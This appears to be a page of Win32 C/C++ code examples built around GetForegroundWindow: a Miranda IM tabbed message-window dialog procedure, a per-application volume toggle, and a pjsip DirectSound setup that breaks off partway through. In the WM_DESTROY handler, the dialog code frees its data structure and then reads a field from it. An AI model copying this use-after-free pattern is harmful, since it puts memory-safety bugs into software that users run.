				TabCtrl_SetImageList(dat->hwndTabs, g_dat->hIconList);
			}
			WindowList_Add(g_dat->hParentWindowList, hwndDlg, 0);
			dat->tabCtrlDat = (struct TabCtrlData *) malloc(sizeof(struct TabCtrlData));
			dat->tabCtrlDat->bDragging = FALSE;
			SetWindowLong(dat->hwndTabs, GWL_USERDATA, (LONG) dat->tabCtrlDat);
			OldTabCtrlProc = (WNDPROC) SetWindowLong(dat->hwndTabs, GWL_WNDPROC, (LONG) TabCtrlProc);
			ws = GetWindowLong(dat->hwndTabs, GWL_STYLE) & ~(TCS_BOTTOM);
			if (dat->flags & SMF_TABSATBOTTOM) {
				ws |= TCS_BOTTOM;
			}
			SetWindowLong(dat->hwndTabs, GWL_STYLE, ws);
			ws = GetWindowLong(hwndDlg, GWL_STYLE) & ~(WS_CAPTION);
			if (dat->flags & SMF_SHOWTITLEBAR) {
				ws |= WS_CAPTION;
				SetWindowLong(hwndDlg, GWL_STYLE, ws);
			} else {
				RECT rc;
				SetWindowLong(hwndDlg, GWL_STYLE, ws);
				GetWindowRect(hwndDlg, &rc);
				SetWindowPos(hwndDlg, 0, 0, 0, rc.right - rc.left, rc.bottom - rc.top,
							 SWP_NOACTIVATE | SWP_NOMOVE | SWP_NOZORDER  | SWP_FRAMECHANGED | SWP_NOSENDCHANGING); 
			}
			ws = GetWindowLong(hwndDlg, GWL_EXSTYLE) & ~WS_EX_LAYERED;
			ws |= dat->flags & SMF_USETRANSPARENCY ? WS_EX_LAYERED : 0;
			SetWindowLong(hwndDlg , GWL_EXSTYLE , ws);
			if (dat->flags & SMF_USETRANSPARENCY) {
   				pSetLayeredWindowAttributes(hwndDlg, RGB(255,255,255), (BYTE)(255-g_dat->inactiveAlpha), LWA_ALPHA);
//				RedrawWindow(hwndDlg, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_FRAME | RDW_ALLCHILDREN);
			}

			//SetWindowPos(dat->hwndTabs, 0, 0, -10, 0, 0, SWP_NOSIZE | SWP_NOZORDER);
			if (!(dat->flags & SMF_SHOWSTATUSBAR)) {
				ShowWindow(dat->hwndStatus, SW_HIDE);
			}
			if (dat->flags & SMF_USETABS) {
				if (ScriverRestoreWindowPosition(hwndDlg, NULL, SRMMMOD, "", 0, SW_HIDE)) {
					SetWindowPos(hwndDlg, 0, 0, 0, 450, 300, SWP_NOZORDER | SWP_NOMOVE  | SWP_HIDEWINDOW);
				}
			} else {
				int savePerContact = DBGetContactSettingByte(NULL, SRMMMOD, SRMSGSET_SAVEPERCONTACT, SRMSGDEFSET_SAVEPERCONTACT);
				if (ScriverRestoreWindowPosition(hwndDlg, savePerContact ? dat->hContact : NULL, SRMMMOD, "", 0, SW_HIDE)) {
				//if (Utils_RestoreWindowPosition(GetParent(hwndDlg), savePerContact ? dat->hContact : NULL, SRMMMOD, "")) {
					if (savePerContact) {
						if (ScriverRestoreWindowPosition(hwndDlg, NULL, SRMMMOD, "", RWPF_NOSIZE, SW_HIDE))
					//	if (Utils_RestoreWindowPositionNoMove(GetParent(hwndDlg), NULL, SRMMMOD, ""))
						SetWindowPos(GetParent(hwndDlg), 0, 0, 0, 450, 300, SWP_NOZORDER | SWP_NOMOVE);
					}
					else
						SetWindowPos(hwndDlg, 0, 0, 0, 450, 300, SWP_NOZORDER | SWP_NOMOVE);
				}
				if (!savePerContact && DBGetContactSettingByte(NULL, SRMMMOD, SRMSGSET_CASCADE, SRMSGDEFSET_CASCADE))
					WindowList_Broadcast(g_dat->hParentWindowList, DM_CASCADENEWWINDOW, (WPARAM) hwndDlg, (LPARAM) & dat->windowWasCascaded);
			}
		}
		return TRUE;
	case WM_GETMINMAXINFO:
	{
		MINMAXINFO *mmi = (MINMAXINFO *) lParam;
		SIZE size;
		GetMinimunWindowSize(dat, &size);
		mmi->ptMinTrackSize.x = size.cx;
		mmi->ptMinTrackSize.y = size.cy;
		return FALSE;
	}

	case WM_SIZE:
		if (wParam == SIZE_MINIMIZED) {
			dat->bMinimized = 1;

		} 
		if (IsIconic(hwndDlg))	{
			MoveWindow(dat->hwndActive, dat->childRect.left, dat->childRect.top, dat->childRect.right-dat->childRect.left, dat->childRect.bottom - dat->childRect.top, TRUE);
		} else {
//		}
//		if (!IsIconic(hwndDlg)) {
			int i;
			RECT rc, rcStatus, rcChild, rcWindow;
			SIZE size;
			dat->bMinimized = 0;
			GetClientRect(hwndDlg, &rc);
			GetWindowRect(hwndDlg, &rcWindow);
			rcStatus.top = rcStatus.bottom = 0;
			if (dat->flags & SMF_SHOWSTATUSBAR) {
				int statwidths[4];
				GetWindowRect(dat->hwndStatus, &rcStatus);
				statwidths[0] = rc.right - rc.left - SB_CHAR_WIDTH - SB_TYPING_WIDTH;
				statwidths[1] = rc.right - rc.left - SB_TYPING_WIDTH;
				statwidths[2] = -1;
				SendMessage(dat->hwndStatus, SB_SETPARTS, 3, (LPARAM) statwidths);
				SendMessage(dat->hwndStatus, WM_SIZE, 0, 0);
			}
			MoveWindow(dat->hwndTabs, 0, 2, (rc.right - rc.left), (rc.bottom - rc.top) - (rcStatus.bottom - rcStatus.top) - 2,	FALSE); 
			RedrawWindow(dat->hwndTabs, NULL, NULL, RDW_INVALIDATE | RDW_FRAME | RDW_ERASE);
			GetMinimunWindowSize(dat, &size);
			if ((rcWindow.bottom-rcWindow.top) < size.cy || (rcWindow.right-rcWindow.left) < size.cx) {
				if ((rcWindow.bottom-rcWindow.top) < size.cy) {
					rcWindow.bottom = rcWindow.top + size.cy;
				} 
				if ((rcWindow.right-rcWindow.left) < size.cx) {
					rcWindow.right = rcWindow.left + size.cx;
				}
				MoveWindow(hwndDlg, rcWindow.left, rcWindow.top, rcWindow.right - rcWindow.left, rcWindow.bottom - rcWindow.top,	TRUE); 
			}
			GetChildWindowRect(dat, &rcChild);
			memcpy(&dat->childRect, &rcChild, sizeof(RECT));
			for (i=0;i<dat->childrenCount;i++) {
				if (dat->children[i] == dat->hwndActive) {
					MoveWindow(dat->children[i], rcChild.left, rcChild.top, rcChild.right-rcChild.left, rcChild.bottom - rcChild.top, TRUE);
					RedrawWindow(GetDlgItem(dat->children[i], IDC_LOG), NULL, NULL, RDW_INVALIDATE);
				} 
			}
			if (dat->flags & SMF_SHOWSTATUSBAR) {
				RedrawWindow(dat->hwndStatus, NULL, NULL, RDW_INVALIDATE | RDW_UPDATENOW | RDW_ERASE);
			}
		}
		return FALSE;
	case WM_SETFOCUS:
		SetFocus(dat->hwndActive);
		return TRUE;
	case WM_CLOSE:
		DestroyWindow(hwndDlg);
		return TRUE;
	case WM_COMMAND:
		switch (LOWORD(wParam)) {
		case IDCANCEL:
			//DestroyWindow(hwndDlg);
			return TRUE;
		}
	case WM_NOTIFY: 
		{
			NMHDR* pNMHDR = (NMHDR*) lParam;
			if (pNMHDR->hwndFrom == dat->hwndTabs) {
				switch (pNMHDR->code) {
				case TCN_SELCHANGE:
					{
						TCITEM tci = {0};
						int iSel = TabCtrl_GetCurSel(dat->hwndTabs);
						tci.mask = TCIF_PARAM;
						if (TabCtrl_GetItem(dat->hwndTabs, iSel, &tci)) {
							struct MessageWindowData * mdat = (struct MessageWindowData *) tci.lParam;
							ActivateChild(dat, mdat->hwnd);
						}
					}
					break;
				case NM_RCLICK:
					{
						TCHITTESTINFO thinfo;
						int tabId, x, y;
						GetCursorPos(&thinfo.pt);
						x = thinfo.pt.x; 
						y = thinfo.pt.y;
						ScreenToClient(dat->hwndTabs, &thinfo.pt);
						tabId = TabCtrl_HitTest(dat->hwndTabs, &thinfo);
						if (tabId != -1) {
							struct MessageWindowData * mwd = GetChildFromTab(dat->hwndTabs, tabId);
							//CallService(MS_USERINFO_SHOWDIALOG, (WPARAM) mwd->hContact, 0);
							HMENU hMenu = (HMENU) CallService(MS_CLIST_MENUBUILDCONTACT, (WPARAM) mwd->hContact, 0);
							TrackPopupMenu(hMenu, 0, x, y, 0, mwd->hwnd, NULL);
							DestroyMenu(hMenu);
						}
					}
					break;
				}
			} else if (pNMHDR->hwndFrom == dat->hwndStatus)  {
				switch (pNMHDR->code) {
				case NM_CLICK:
					{
						NMMOUSE *nm=(NMMOUSE*)lParam;
						RECT rc;
						SendMessage(dat->hwndStatus, SB_GETRECT, SendMessage(dat->hwndStatus, SB_GETPARTS, 0, 0) - 1, (LPARAM)&rc);
						if (nm->pt.x >= rc.left) 
							SendMessage(dat->hwndActive, DM_SWITCHUNICODE, 0, 0);
					}
				}
				break;
			}
		}
		break;
	case WM_DROPFILES:
		SendMessage(dat->hwndActive, WM_DROPFILES, wParam, lParam);
		break;
	case WM_TIMER:
		if (wParam == TIMERID_FLASHWND) {
			if ((dat->nFlash > dat->nFlashMax)) {// || ((GetActiveWindow() == hwndDlg) && (GetForegroundWindow() == hwndDlg))) {
				KillTimer(hwndDlg, TIMERID_FLASHWND);
				FlashWindow(hwndDlg, FALSE);
			} else if (dat->nFlash < dat->nFlashMax) {
				FlashWindow(hwndDlg, TRUE);
				dat->nFlash++;
			}
		}
		break;
	case WM_CONTEXTMENU:
	{
		if (dat->hwndStatus && dat->hwndStatus == (HWND) wParam) {
			RECT rc;
			POINT pt, pt2;
			GetCursorPos(&pt);
			pt2.x = pt.x;
			pt2.y = pt.y;
			ScreenToClient(dat->hwndStatus, &pt);
			SendMessage(dat->hwndStatus, SB_GETRECT, SendMessage(dat->hwndStatus, SB_GETPARTS, 0, 0) - 1, (LPARAM)&rc);
			if (pt.x >= rc.left && dat->hwndActive != NULL) {
				int codePage = (int) SendMessage(dat->hwndActive, DM_GETCODEPAGE, 0, 0);
				int i, iSel;
				for(i = 0; i < GetMenuItemCount(g_dat->hMenuANSIEncoding); i++) {
					CheckMenuItem (g_dat->hMenuANSIEncoding, i, MF_BYPOSITION | MF_UNCHECKED);
				}
				if(codePage == CP_ACP) {
					CheckMenuItem(g_dat->hMenuANSIEncoding, 0, MF_BYPOSITION | MF_CHECKED);
				} else {
					CheckMenuItem(g_dat->hMenuANSIEncoding, codePage, MF_BYCOMMAND | MF_CHECKED);
				}
				iSel = TrackPopupMenu(g_dat->hMenuANSIEncoding, TPM_RETURNCMD, pt2.x, pt2.y, 0, hwndDlg, NULL);
				if (iSel >= 500) {
					if (iSel == 500) iSel = CP_ACP;
					SendMessage(dat->hwndActive, DM_SETCODEPAGE, 0, iSel);
				}
			}
			else 
				SendMessage(dat->hwndActive, WM_CONTEXTMENU, (WPARAM)hwndDlg, 0);
		}
		break;
	}
	case WM_ACTIVATE:
		if (LOWORD(wParam) == WA_INACTIVE) {
			ws = GetWindowLong(hwndDlg, GWL_EXSTYLE) & ~WS_EX_LAYERED;
			ws |= dat->flags & SMF_USETRANSPARENCY ? WS_EX_LAYERED : 0;
			SetWindowLong(hwndDlg , GWL_EXSTYLE , ws);
			if (dat->flags & SMF_USETRANSPARENCY) {
   				pSetLayeredWindowAttributes(hwndDlg, RGB(255,255,255), (BYTE)(255-g_dat->inactiveAlpha), LWA_ALPHA);
//				RedrawWindow(hwndDlg, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_FRAME | RDW_ALLCHILDREN);
			}
		}
		if (LOWORD(wParam) != WA_ACTIVE)
			break;
	case WM_MOUSEACTIVATE:
		if (KillTimer(hwndDlg, TIMERID_FLASHWND)) {
			FlashWindow(hwndDlg, FALSE);
			dat->nFlash = 0;
		}
		ws = GetWindowLong(hwndDlg, GWL_EXSTYLE) & ~WS_EX_LAYERED;
		ws |= dat->flags & SMF_USETRANSPARENCY ? WS_EX_LAYERED : 0;
		SetWindowLong(hwndDlg , GWL_EXSTYLE , ws);
		if (dat->flags & SMF_USETRANSPARENCY) {
   			pSetLayeredWindowAttributes(hwndDlg, RGB(255,255,255), (BYTE)(255-g_dat->activeAlpha), LWA_ALPHA);
//				RedrawWindow(hwndDlg, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_FRAME | RDW_ALLCHILDREN);
		}
		SendMessage(dat->hwndActive, WM_ACTIVATE, WA_ACTIVE, 0);
		break;
	case WM_LBUTTONDOWN:
		dat->mouseLBDown = 1;
		GetCursorPos(&dat->mouseLBDownPos);
		SetCapture(hwndDlg);
		break;
	case WM_LBUTTONUP:
		dat->mouseLBDown = 0;
		ReleaseCapture();
		break;
	case WM_MOUSEMOVE:
		if (dat->mouseLBDown) { 
			POINT pt;
			RECT  rc;
			GetCursorPos(&pt);
			GetWindowRect(hwndDlg, &rc);
			SetWindowPos(hwndDlg, 0, rc.left - (dat->mouseLBDownPos.x - pt.x), rc.top - (dat->mouseLBDownPos.y - pt.y), 0, 0, SWP_NOZORDER | SWP_NOSIZE);
			dat->mouseLBDownPos = pt;
		}
		break;
	case WM_DESTROY:
		{
			g_dat->hParent = NULL;
			SetWindowLong(hwndDlg, GWL_USERDATA, 0);
			WindowList_Remove(g_dat->hParentWindowList, hwndDlg);
			if (dat->children!=NULL) free (dat->children);
			free(dat->tabCtrlDat);
			free(dat);
			if (dat->flags & SMF_USETABS) {
				WINDOWPLACEMENT wp = { 0 };
				wp.length = sizeof(wp);
				GetWindowPlacement(hwndDlg, &wp);
				DBWriteContactSettingDword(NULL, SRMMMOD, "x", wp.rcNormalPosition.left);
				DBWriteContactSettingDword(NULL, SRMMMOD, "y", wp.rcNormalPosition.top);
				DBWriteContactSettingDword(NULL, SRMMMOD, "width", wp.rcNormalPosition.right - wp.rcNormalPosition.left);
				DBWriteContactSettingDword(NULL, SRMMMOD, "height", wp.rcNormalPosition.bottom - wp.rcNormalPosition.top);
			} else {
				WINDOWPLACEMENT wp = { 0 };
				HANDLE hContact;
				if (DBGetContactSettingByte(NULL, SRMMMOD, SRMSGSET_SAVEPERCONTACT, SRMSGDEFSET_SAVEPERCONTACT))
					hContact = dat->hContact;
				else
					hContact = NULL;
				wp.length = sizeof(wp);
				GetWindowPlacement(hwndDlg, &wp);
				if (!dat->windowWasCascaded) {
					DBWriteContactSettingDword(hContact, SRMMMOD, "x", wp.rcNormalPosition.left);
					DBWriteContactSettingDword(hContact, SRMMMOD, "y", wp.rcNormalPosition.top);
				}
				DBWriteContactSettingDword(hContact, SRMMMOD, "width", wp.rcNormalPosition.right - wp.rcNormalPosition.left);
				DBWriteContactSettingDword(hContact, SRMMMOD, "height", wp.rcNormalPosition.bottom - wp.rcNormalPosition.top);
			}

		}
		break;
	case DM_ERRORDECIDED:
		break;
	case DM_STARTFLASHING:
		if (GetActiveWindow() != hwndDlg || GetForegroundWindow() != hwndDlg) {
			dat->nFlash = 0;
			SetTimer(hwndDlg, TIMERID_FLASHWND, TIMEOUT_FLASHWND, NULL);
		}
		break;
	case DM_REMOVECHILD:
		{
			RemoveChild(dat, (HWND) lParam);
			if (dat->childrenCount == 0) {
				DestroyWindow(hwndDlg);
			} else {
			}
		}
		return TRUE;
	case DM_ADDCHILD:
		{
			struct MessageWindowData * mdat = (struct MessageWindowData *) lParam;
			AddChild(dat, mdat);
		}
		return TRUE;
	case DM_ACTIVATECHILD:
		if((HWND) lParam != dat->hwndActive) {
			ActivateChild(dat, (HWND) lParam);
		}
		return TRUE;
	case DM_ACTIVATEPREV:
		ActivatePrevChild(dat, (HWND) lParam);
		return TRUE;
	case DM_ACTIVATENEXT:
		ActivateNextChild(dat, (HWND) lParam);
		return TRUE;
	case DM_SENDMESSAGE:
		{
			int i;
			for (i=0;i<dat->childrenCount;i++) {
				SendMessage(dat->children[i], DM_SENDMESSAGE, wParam, lParam);
			}
		}
		break;
	case DM_OPTIONSAPPLIED:
		{
			RECT rc;
			dat->flags = g_dat->flags;
			if (!(dat->flags & SMF_SHOWSTATUSBAR)) {
				ShowWindow(dat->hwndStatus, SW_HIDE);
			} else {
				ShowWindow(dat->hwndStatus, SW_SHOW);
			}
			ws = GetWindowLong(hwndDlg, GWL_STYLE) & ~(WS_CAPTION);
			if (dat->flags & SMF_SHOWTITLEBAR) {
				ws |= WS_CAPTION;
			} 
			SetWindowLong(hwndDlg, GWL_STYLE, ws);

			ws = GetWindowLong(hwndDlg, GWL_EXSTYLE)& ~WS_EX_LAYERED;
			ws |= dat->flags & SMF_USETRANSPARENCY ? WS_EX_LAYERED : 0;
			SetWindowLong(hwndDlg , GWL_EXSTYLE , ws);
			if (dat->flags & SMF_USETRANSPARENCY) {
   				pSetLayeredWindowAttributes(hwndDlg, RGB(255,255,255), (BYTE)(255-g_dat->inactiveAlpha), LWA_ALPHA);
//				RedrawWindow(hwndDlg, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_FRAME | RDW_ALLCHILDREN);
			}

			ws = GetWindowLong(dat->hwndTabs, GWL_STYLE) & ~(TCS_BOTTOM);
			if (dat->flags & SMF_TABSATBOTTOM) {
				ws |= TCS_BOTTOM;
			} 
			SetWindowLong(dat->hwndTabs, GWL_STYLE, ws);
			RedrawWindow(dat->hwndTabs, NULL, NULL, RDW_INVALIDATE);
			GetWindowRect(hwndDlg, &rc);
			SetWindowPos(hwndDlg, 0, 0, 0, rc.right - rc.left, rc.bottom - rc.top, 
                        SWP_NOACTIVATE | SWP_NOMOVE | SWP_NOZORDER | SWP_FRAMECHANGED | SWP_NOSENDCHANGING);
			SendMessage(hwndDlg, WM_SIZE, 0, 0);
			//RedrawWindow(hwndDlg, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_FRAME | RDW_ALLCHILDREN);
			break;
		}
	case DM_UPDATETITLE:
		{
			struct MessageWindowData * mdat = (struct MessageWindowData *) lParam;
			TCITEM tci;
			int tabId;
			char newtitle[256], oldtitle[256];
			char *szStatus, *contactName, *pszNewTitleEnd;
			TCHAR *tContactName;
			if (mdat && mdat->hwnd == dat->hwndActive) {
				pszNewTitleEnd = "Message Session";
				if (mdat->hContact) {
					if (mdat->szProto) {
						CONTACTINFO ci;
						char buf[128];
						int statusIcon = DBGetContactSettingByte(NULL, SRMMMOD, SRMSGSET_STATUSICON, SRMSGDEFSET_STATUSICON);

						buf[0] = 0;
						mdat->wStatus = DBGetContactSettingWord(mdat->hContact, mdat->szProto, "Status", ID_STATUS_OFFLINE);
						contactName = (char *) CallService(MS_CLIST_GETCONTACTDISPLAYNAME, (WPARAM) mdat->hContact, 0);
						ZeroMemory(&ci, sizeof(ci));
						ci.cbSize = sizeof(ci);
						ci.hContact = mdat->hContact;
						ci.szProto = mdat->szProto;
						ci.dwFlag = CNF_UNIQUEID;
						if (!CallService(MS_CONTACT_GETCONTACTINFO, 0, (LPARAM) & ci)) {
							switch (ci.type) {
							case CNFT_ASCIIZ:
								mir_snprintf(buf, sizeof(buf), "%s", ci.pszVal);
								miranda_sys_free(ci.pszVal);
								break;
							case CNFT_DWORD:
								mir_snprintf(buf, sizeof(buf), "%u", ci.dVal);
								break;
							}
						}
						szStatus = (char *) CallService(MS_CLIST_GETSTATUSMODEDESCRIPTION, mdat->szProto == NULL ? ID_STATUS_OFFLINE : DBGetContactSettingWord(mdat->hContact, mdat->szProto, "Status", ID_STATUS_OFFLINE), 0);
						if (statusIcon)
							mir_snprintf(newtitle, sizeof(newtitle), "%s - %s", contactName, Translate(pszNewTitleEnd));
						else
							mir_snprintf(newtitle, sizeof(newtitle), "%s (%s): %s", contactName, szStatus, Translate(pszNewTitleEnd));

					}
				}
				else
					lstrcpynA(newtitle, pszNewTitleEnd, sizeof(newtitle));
				GetWindowTextA(hwndDlg, oldtitle, sizeof(oldtitle));
				if (lstrcmpA(newtitle, oldtitle)) { //swt() flickers even if the title hasn't actually changed
					SetWindowTextA(hwndDlg, newtitle);
					//SendMessage(hwndDlg, WM_SIZE, 0, 0);
				}
			}
			tabId = GetTabFromHWND(dat, mdat->hwnd);
			tContactName = GetTabName(mdat->hContact);
			tci.mask = TCIF_TEXT;
			tci.pszText = tContactName;
			TabCtrl_SetItem(dat->hwndTabs, tabId, &tci);
			free(tContactName);
			break;
		}
	case DM_UPDATEWINICON:
		{
			struct MessageWindowData * mdat = (struct MessageWindowData *) lParam;
			if (mdat) {
				if (mdat->szProto) {
					int i, icoIdx = 0;
					WORD wStatus;
					wStatus = DBGetContactSettingWord(mdat->hContact, mdat->szProto, "Status", ID_STATUS_OFFLINE);
					if (mdat->hwnd == dat->hwndActive) {
						if (DBGetContactSettingByte(NULL, SRMMMOD, SRMSGSET_STATUSICON, SRMSGDEFSET_STATUSICON)) {
							if (mdat->showTyping && (dat->flags&SMF_SHOWTYPINGWIN)) {
								SendMessage(hwndDlg, WM_SETICON, (WPARAM) ICON_BIG, (LPARAM) g_dat->hIcons[SMF_ICON_TYPING]);
							} else if (mdat->showUnread && (GetActiveWindow() != hwndDlg || GetForegroundWindow() != hwndDlg)) {
								SendMessage(hwndDlg, WM_SETICON, (WPARAM) ICON_BIG, (LPARAM) LoadSkinnedIcon(SKINICON_EVENT_MESSAGE));	
							} else {
								SendMessage(hwndDlg, WM_SETICON, (WPARAM) ICON_BIG, (LPARAM) LoadSkinnedProtoIcon(mdat->szProto, wStatus));
							}
						} else {
							SendMessage(hwndDlg, WM_SETICON, (WPARAM) ICON_BIG, (LPARAM) LoadSkinnedIcon(SKINICON_EVENT_MESSAGE));
						}
					}
					icoIdx = 0;
					for (i = 0; i < g_dat->protoNum; i++) {
						if (!strcmp(g_dat->protoNames[i], mdat->szProto)) {
							icoIdx = wStatus - ID_STATUS_OFFLINE + (ID_STATUS_OUTTOLUNCH - ID_STATUS_OFFLINE + 1) * (i +1) + 2;
							break;
						}
					}
					if (mdat->hwnd != dat->hwndActive) {
						if (mdat->showTyping) {
							icoIdx = 1;
						} else if (mdat->showUnread & 1) {
							icoIdx = 0;
						}
					}
					i = GetTabFromHWND(dat, mdat->hwnd);
					if (i>=0) {
						TCITEM tci;
						tci.mask = TCIF_IMAGE;
						tci.iImage = icoIdx;
						TabCtrl_SetItem(dat->hwndTabs, i, &tci);
					}
				} 
			} 
			break;
		}
	case DM_UPDATESTATUSBAR:
		break;
	case DM_SWITCHSTATUSBAR:
		dat->flags ^= SMF_SHOWSTATUSBAR;
		if (!(dat->flags & SMF_SHOWSTATUSBAR)) {
			ShowWindow(dat->hwndStatus, SW_HIDE);
		} else {
			ShowWindow(dat->hwndStatus, SW_SHOW);
		}
		SendMessage(hwndDlg, WM_SIZE, 0, 0);
		break;
	case DM_SWITCHTOOLBAR:
		{
			int i;
			dat->flags ^= SMF_SHOWBTNS;
			for (i=0;i<dat->childrenCount;i++) {
				SendMessage(dat->children[i], DM_SWITCHTOOLBAR, 0, 0);
			}
			SendMessage(hwndDlg, WM_SIZE, 0, 0);
		}
		break;
	case DM_SWITCHTITLEBAR:
		{
			RECT rc;
			dat->flags ^= SMF_SHOWTITLEBAR;
			ws = GetWindowLong(hwndDlg, GWL_STYLE) & ~(WS_CAPTION);
			if (dat->flags & SMF_SHOWTITLEBAR) {
				ws |= WS_CAPTION;
			} 
			SetWindowLong(hwndDlg, GWL_STYLE, ws);
			GetWindowRect(hwndDlg, &rc);
			SetWindowPos(hwndDlg, 0, 0, 0, rc.right - rc.left, rc.bottom - rc.top,
                         SWP_NOACTIVATE | SWP_NOMOVE | SWP_NOZORDER  | SWP_FRAMECHANGED | SWP_NOSENDCHANGING); 
//			SendMessage(hwndDlg, WM_SIZE, 0, 0);
			RedrawWindow(hwndDlg, NULL, NULL, RDW_ERASE | RDW_FRAME | RDW_INVALIDATE | RDW_ALLCHILDREN);
		}
		break;
	case DM_CASCADENEWWINDOW:
		if ((HWND) wParam == hwndDlg)
			break;
		{
			RECT rcThis, rcNew;
			GetWindowRect(hwndDlg, &rcThis);
			GetWindowRect((HWND) wParam, &rcNew);
			if (abs(rcThis.left - rcNew.left) < 3 && abs(rcThis.top - rcNew.top) < 3) {
				int offset = GetSystemMetrics(SM_CYCAPTION) + GetSystemMetrics(SM_CYFRAME);
				SetWindowPos((HWND) wParam, 0, rcNew.left + offset, rcNew.top + offset, 0, 0, SWP_NOZORDER | SWP_NOSIZE);
				*(int *) lParam = 1;
			}
		}
		break;
	//case DM_MESSAGESENDING:
	//	dat->messagesInProgress += wParam ? -1 : 1;
	//	if (dat->messagesInProgress < 0) dat->messagesInProgress = 0;
	//	break;
	}
	return FALSE;
}
Ejemplo n.º 9
0
void changeFGWindowVolume()
{
	if (soundOption == dncItemID) return;

	char titleBuff[128];
	HWND activeHWND = GetForegroundWindow();
	GetWindowText(activeHWND, titleBuff, 128);

	UINT count = sizeof(mediaCommands) / sizeof(mediaCommands[0]);
	for (UINT i = 0; i < count; i++)
	{
		if (strstr(titleBuff, mediaCommands[i].title) > 0) return;
	}

	IMMDevice *mmDevice;
	IMMDeviceEnumerator *mmDeviceEnum;
	IAudioSessionManager2 *sessionManager;
	IAudioSessionEnumerator *sessionEnum;
	IAudioSessionControl *sessionControl;
	IAudioSessionControl2 *sessionControl2;
	ISimpleAudioVolume *audioVolume;

	CoCreateInstance(__uuidof(MMDeviceEnumerator), 0, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&mmDeviceEnum);
	mmDeviceEnum->GetDefaultAudioEndpoint(eRender, eMultimedia, &mmDevice);
	mmDevice->Activate(__uuidof(IAudioSessionManager2), CLSCTX_ALL, 0, (void**)&sessionManager);
	sessionManager->GetSessionEnumerator(&sessionEnum);

	DWORD activePid;
	GetWindowThreadProcessId(activeHWND, &activePid);

	int sessionCount;
	sessionEnum->GetCount(&sessionCount);
	for (int i = 0; i < sessionCount; i++)
	{
		sessionEnum->GetSession(i, &sessionControl);
		sessionControl->QueryInterface(__uuidof(IAudioSessionControl2), (void**)&sessionControl2);

		DWORD pid;
		sessionControl2->GetProcessId(&pid);
		if (activePid == pid)
		{
			sessionControl->QueryInterface(__uuidof(ISimpleAudioVolume), (void**)&audioVolume);

			BOOL muted;
			audioVolume->GetMute(&muted);

			float volumeLevel;
			audioVolume->GetMasterVolume(&volumeLevel);

			if (soundOption == muteItemID)
			{
				audioVolume->SetMute(!muted, 0);

				if (volumeLevel != 1.0f)
				{
					audioVolume->SetMasterVolume(1.0f, 0);
				}
			}
			else
			{
				float newVolumeLevel = (soundOption - sBaseItemID) / 100.0f;
				audioVolume->SetMasterVolume(volumeLevel == 1.0f ? newVolumeLevel : 1.0f, 0);

				if (muted)
				{
					audioVolume->SetMute(false, 0);
				}
			}

			audioVolume->Release();
		}

		sessionControl->Release();
		sessionControl2->Release();
	}

	sessionEnum->Release();
	sessionManager->Release();
	mmDevice->Release();
	mmDeviceEnum->Release();
}
Ejemplo n.º 10
0
void InitScreen( void )
{
    RestoreMainScreen( "WDNT" );
    FirstForeWnd = GetForegroundWindow();
}
Ejemplo n.º 11
0
/*
 * Initialize DirectSound player device.
 */
static pj_status_t init_player_stream( struct dsound_stream *ds_strm,
				       int dev_id,
				       unsigned clock_rate,
				       unsigned channel_count,
				       unsigned samples_per_frame,
				       unsigned buffer_count)
{
    HRESULT hr;
    HWND hwnd;
    PCMWAVEFORMAT pcmwf; 
    DSBUFFERDESC dsbdesc;
    DSBPOSITIONNOTIFY dsPosNotify[MAX_PACKET_BUFFER_COUNT];
    unsigned bytes_per_frame;
    unsigned max_latency;
    unsigned i;


    PJ_ASSERT_RETURN(buffer_count <= MAX_PACKET_BUFFER_COUNT, PJ_EINVAL);

    /* Check device ID */
    if (dev_id == -1)
	dev_id = 0;

    PJ_ASSERT_RETURN(dev_id>=0 && dev_id < (int)dev_count, PJ_EINVAL);

    /*
     * Create DirectSound device.
     */
    hr = DirectSoundCreate(dev_info[dev_id].lpGuid, &ds_strm->ds.play.lpDs, 
			   NULL);
    if (FAILED(hr))
	return PJ_RETURN_OS_ERROR(hr);

    hwnd = GetForegroundWindow();
    if (hwnd == NULL) {
	hwnd = GetDesktopWindow();
    }    
    hr = IDirectSound_SetCooperativeLevel( ds_strm->ds.play.lpDs, hwnd, 
					   DSSCL_PRIORITY);
    if FAILED(hr)
	return PJ_RETURN_OS_ERROR(hr);
    
    /*
     * Set up wave format structure for initialize DirectSound play
     * buffer. 
     */
    init_waveformatex(&pcmwf, clock_rate, channel_count);
    bytes_per_frame = samples_per_frame * BYTES_PER_SAMPLE;

    /* Set up DSBUFFERDESC structure. */
    pj_bzero(&dsbdesc, sizeof(DSBUFFERDESC)); 
    dsbdesc.dwSize = sizeof(DSBUFFERDESC); 
    dsbdesc.dwFlags = DSBCAPS_CTRLVOLUME | DSBCAPS_CTRLPOSITIONNOTIFY |
		      DSBCAPS_GETCURRENTPOSITION2 | DSBCAPS_GLOBALFOCUS;

    dsbdesc.dwBufferBytes = buffer_count * bytes_per_frame;
    dsbdesc.lpwfxFormat = (LPWAVEFORMATEX)&pcmwf; 

    /*
     * Create DirectSound playback buffer. 
     */
    hr = IDirectSound_CreateSoundBuffer(ds_strm->ds.play.lpDs, &dsbdesc, 
					&ds_strm->ds.play.lpDsBuffer, NULL); 
    if (FAILED(hr) )
	return PJ_RETURN_OS_ERROR(hr);

    /*
     * Create event for play notification.
     */
    ds_strm->hEvent = CreateEvent( NULL, FALSE, FALSE, NULL);
    if (ds_strm->hEvent == NULL)
	return pj_get_os_error();

    /*
     * Setup notification for play.
     */
    hr = IDirectSoundBuffer_QueryInterface( ds_strm->ds.play.lpDsBuffer, 
					    &IID_IDirectSoundNotify, 
					    (LPVOID *)&ds_strm->lpDsNotify); 
    if (FAILED(hr))
	return PJ_RETURN_OS_ERROR(hr);

    
    for (i=0; i<buffer_count; ++i) {
	dsPosNotify[i].dwOffset = i * bytes_per_frame;
	dsPosNotify[i].hEventNotify = ds_strm->hEvent;
    }
    
    hr = IDirectSoundNotify_SetNotificationPositions( ds_strm->lpDsNotify, 
						      buffer_count, 
						      dsPosNotify);
    if (FAILED(hr))
	return PJ_RETURN_OS_ERROR(hr);


    hr = IDirectSoundBuffer_SetCurrentPosition(ds_strm->ds.play.lpDsBuffer, 0);
    if (FAILED(hr))
